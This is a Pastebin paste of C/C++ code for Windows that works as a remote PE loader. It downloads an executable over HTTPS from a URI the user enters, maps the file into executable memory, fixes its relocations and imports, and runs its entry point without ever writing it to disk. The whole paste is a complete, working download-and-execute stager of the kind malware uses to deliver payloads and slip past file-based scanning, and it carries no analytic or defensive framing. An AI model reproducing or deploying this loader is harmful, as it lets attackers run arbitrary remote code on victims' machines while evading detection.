m1dw0rd

Untitled

Nov 29th, 2022
415
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 8.06 KB | None | 0 0
  1. #include <Windows.h>
  2. #include <stdio.h>
  3. #include <vector>
  4. #include <winhttp.h>
  5.  
  6. #pragma comment(lib, "winhttp")
  7.  
  8. #pragma warning (disable: 4996)
  9. #define _CRT_SECURE_NO_WARNINGS
  10.  
  11.  
  12. typedef struct _BASE_RELOCATION_ENTRY {
  13.     WORD Offset : 12;
  14.     WORD Type : 4;
  15. } BASE_RELOCATION_ENTRY;
  16.  
  17. char* GetPE(wchar_t* domain, wchar_t* path) {
  18.     std::vector<unsigned char> PEbuf;
  19.     DWORD dwSize = 0;
  20.     DWORD dwDownloaded = 0;
  21.     LPSTR pszOutBuffer;
  22.     BOOL  bResults = FALSE;
  23.     HINTERNET  hSession = NULL,
  24.         hConnect = NULL,
  25.         hRequest = NULL;
  26.     // Use WinHttpOpen to obtain a session handle.
  27.     hSession = WinHttpOpen(L"WinHTTP Example/1.0",
  28.         WINHTTP_ACCESS_TYPE_DEFAULT_PROXY,
  29.         WINHTTP_NO_PROXY_NAME,
  30.         WINHTTP_NO_PROXY_BYPASS, 0);
  31.  
  32.     // https://github.com/D1rkMtr/test/blob/main/MsgBoxArgs.exe?raw=true
  33.     // Specify an HTTP server.
  34.     if (hSession)
  35.         hConnect = WinHttpConnect(hSession, domain,
  36.             INTERNET_DEFAULT_HTTPS_PORT, 0);
  37.  
  38.     // Create an HTTP request handle.
  39.     if (hConnect)
  40.         hRequest = WinHttpOpenRequest(hConnect, L"GET", path,
  41.             NULL, WINHTTP_NO_REFERER,
  42.             WINHTTP_DEFAULT_ACCEPT_TYPES,
  43.             WINHTTP_FLAG_SECURE);
  44.  
  45.     // Send a request.
  46.     if (hRequest)
  47.         bResults = WinHttpSendRequest(hRequest,
  48.             WINHTTP_NO_ADDITIONAL_HEADERS,
  49.             0, WINHTTP_NO_REQUEST_DATA, 0,
  50.             0, 0);
  51.  
  52.  
  53.     // End the request.
  54.     if (bResults)
  55.         bResults = WinHttpReceiveResponse(hRequest, NULL);
  56.  
  57.     // Keep checking for data until there is nothing left.
  58.     if (bResults)
  59.         do
  60.         {
  61.             // Check for available data.
  62.             dwSize = 0;
  63.             if (!WinHttpQueryDataAvailable(hRequest, &dwSize))
  64.                 printf("Error %u in WinHttpQueryDataAvailable.\n", GetLastError());
  65.  
  66.             // Allocate space for the buffer.
  67.             pszOutBuffer = new char[dwSize + 1];
  68.             if (!pszOutBuffer)
  69.             {
  70.                 printf("Out of memory\n");
  71.                 dwSize = 0;
  72.             }
  73.             else
  74.             {
  75.                 // Read the Data.
  76.                 ZeroMemory(pszOutBuffer, dwSize + 1);
  77.  
  78.                 if (!WinHttpReadData(hRequest, (LPVOID)pszOutBuffer,
  79.                     dwSize, &dwDownloaded))
  80.                     printf("Error %u in WinHttpReadData.\n", GetLastError());
  81.                 else {
  82.                     //printf("%s\n", pszOutBuffer);
  83.                     PEbuf.insert(PEbuf.end(), pszOutBuffer, pszOutBuffer + dwDownloaded);
  84.                     //strcat_s(PE,sizeof pszOutBuffer,pszOutBuffer);
  85.                 }
  86.  
  87.                 // Free the memory allocated to the buffer.
  88.                 delete[] pszOutBuffer;
  89.             }
  90.  
  91.         } while (dwSize > 0);
  92.  
  93.         if (PEbuf.empty() == TRUE)
  94.         {
  95.             printf("Failed in retrieving the PE");
  96.         }
  97.  
  98.  
  99.         // Report any errors.
  100.         if (!bResults)
  101.             printf("Error %d has occurred.\n", GetLastError());
  102.  
  103.         // Close any open handles.
  104.         if (hRequest) WinHttpCloseHandle(hRequest);
  105.         if (hConnect) WinHttpCloseHandle(hConnect);
  106.         if (hSession) WinHttpCloseHandle(hSession);
  107.  
  108.         size_t size = PEbuf.size();
  109.         char* PE = (char*)malloc(size);
  110.         for (int i = 0; i < PEbuf.size(); i++) {
  111.             PE[i] = PEbuf[i];
  112.         }
  113.         return PE;
  114. }
  115.  
  116. BOOL RunPE(char* PEdata) {
  117.  
  118.     PIMAGE_DOS_HEADER DOSheader = (PIMAGE_DOS_HEADER)PEdata;
  119.     PIMAGE_NT_HEADERS NTheader = (PIMAGE_NT_HEADERS)((char*)(PEdata)+DOSheader->e_lfanew);
  120.     if (!NTheader) {
  121.         printf(" [-] Not a PE file\n");
  122.         return FALSE;
  123.     }
  124.     BYTE* MemImage = (BYTE*)VirtualAlloc(NULL, NTheader->OptionalHeader.SizeOfImage, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
  125.     if (!MemImage) {
  126.         printf(" [-] Failed in Allocating Image Memory (%u)\n", GetLastError());
  127.         return FALSE;
  128.     }
  129.     // Map Headers&Sections
  130.     memcpy(MemImage, PEdata, NTheader->OptionalHeader.SizeOfHeaders);
  131.     PIMAGE_SECTION_HEADER sectionHdr = IMAGE_FIRST_SECTION(NTheader);
  132.     for (WORD i = 0; i < NTheader->FileHeader.NumberOfSections; i++) {
  133.         memcpy((BYTE*)(MemImage)+sectionHdr[i].VirtualAddress, (BYTE*)(PEdata)+sectionHdr[i].PointerToRawData, sectionHdr[i].SizeOfRawData);
  134.     }
  135.     // Apply Relocations
  136.     IMAGE_DATA_DIRECTORY DirectoryReloc = NTheader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC];
  137.     if (DirectoryReloc.VirtualAddress == 0) {
  138.         printf("Failed in Relocating Image\n");
  139.         return FALSE;
  140.     }
  141.     PIMAGE_BASE_RELOCATION BaseReloc = (PIMAGE_BASE_RELOCATION)(DirectoryReloc.VirtualAddress + (ULONG_PTR)MemImage);
  142.     while (BaseReloc->VirtualAddress != 0) {
  143.         DWORD page = BaseReloc->VirtualAddress;
  144.         if (BaseReloc->SizeOfBlock >= sizeof(IMAGE_BASE_RELOCATION))
  145.         {
  146.             size_t count = (BaseReloc->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / sizeof(WORD);
  147.             BASE_RELOCATION_ENTRY* list = (BASE_RELOCATION_ENTRY*)(LPWORD)(BaseReloc + 1);
  148.             for (size_t i = 0; i < count; i++) {
  149.                 if (list[i].Type & 0xA) {
  150.                     DWORD rva = list[i].Offset + page;
  151.                     PULONG_PTR p = (PULONG_PTR)((LPBYTE)MemImage + rva);
  152.                     // Relocate the address
  153.                     *p = ((*p) - NTheader->OptionalHeader.ImageBase) + (ULONG_PTR)MemImage;
  154.                 }
  155.             }
  156.         }
  157.         BaseReloc = (PIMAGE_BASE_RELOCATION)((LPBYTE)BaseReloc + BaseReloc->SizeOfBlock);
  158.     }
  159.     // Loading Imports
  160.     IMAGE_DATA_DIRECTORY DirectoryImports = NTheader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT];
  161.     if (!DirectoryImports.VirtualAddress) {
  162.         return FALSE;
  163.     }
  164.     PIMAGE_IMPORT_DESCRIPTOR ImportDescriptor = (PIMAGE_IMPORT_DESCRIPTOR)(DirectoryImports.VirtualAddress + (ULONG_PTR)MemImage);
  165.     while (ImportDescriptor->Name != NULL)
  166.     {
  167.         LPCSTR ModuleName = (LPCSTR)ImportDescriptor->Name + (ULONG_PTR)MemImage;
  168.         HMODULE Module = LoadLibraryA(ModuleName);
  169.         if (Module)
  170.         {
  171.             PIMAGE_THUNK_DATA thunk = NULL;
  172.             thunk = (PIMAGE_THUNK_DATA)((ULONG_PTR)MemImage + ImportDescriptor->FirstThunk);
  173.  
  174.             while (thunk->u1.AddressOfData != NULL)
  175.             {
  176.                 ULONG_PTR FuncAddr = NULL;
  177.                 if (IMAGE_SNAP_BY_ORDINAL(thunk->u1.Ordinal))
  178.                 {
  179.                     LPCSTR functionOrdinal = (LPCSTR)IMAGE_ORDINAL(thunk->u1.Ordinal);
  180.                     FuncAddr = (ULONG_PTR)GetProcAddress(Module, functionOrdinal);
  181.                 }
  182.                 else
  183.                 {
  184.                     PIMAGE_IMPORT_BY_NAME FuncName = (PIMAGE_IMPORT_BY_NAME)((ULONG_PTR)MemImage + thunk->u1.AddressOfData);
  185.                     FuncAddr = (ULONG_PTR)GetProcAddress(Module, FuncName->Name);
  186.                 }
  187.                 thunk->u1.Function = FuncAddr;
  188.                 ++thunk;
  189.             }
  190.         }
  191.         ImportDescriptor++;
  192.     }
  193.     ULONG_PTR EntryPoint = NTheader->OptionalHeader.AddressOfEntryPoint + (ULONG_PTR)MemImage;
  194.     printf("[+] Run PE:\n");
  195.     int (*Entry)() = (int(*)())EntryPoint;
  196.     Entry();
  197.  
  198. }
  199.  
  200.  
  201. int main(int argc, char** argv) {
  202.  
  203.     // Getting PE raw data , PE size
  204.     printf("\n[+] Enter the uri :\n");
  205.     char uri[250] = "";
  206.     scanf("%s", uri);
  207.     char* PEdata = NULL;
  208.  
  209.     printf("\n[+] Loading Remote PE from %s\n", uri);
  210.     char domain[50];
  211.     char path[500];
  212.     sscanf(uri, "https://%31[^/]/%63[^\n]", domain, path);
  213.  
  214.     wchar_t Wdomain[50];
  215.     mbstowcs(Wdomain, domain, strlen(domain) + 1);//Plus null
  216.     wchar_t Wpath[500];
  217.     mbstowcs(Wpath, path, strlen(path) + 1);//Plus null
  218.  
  219.     PEdata = GetPE(Wdomain, Wpath);
  220.     if (!PEdata) {
  221.         printf("[-] Failed in Loading remote PE (%u)\n", GetLastError());
  222.         return GetLastError();
  223.     }
  224.  
  225.     BOOL status = RunPE(PEdata);
  226.     if (!status) {
  227.         printf(" [-] Failed in Running PE (%u)\n", GetLastError());
  228.         return GetLastError();
  229.     }
  230.  
  231.     return 0;
  232. }
Advertisement
Add Comment
Please, Sign In to add comment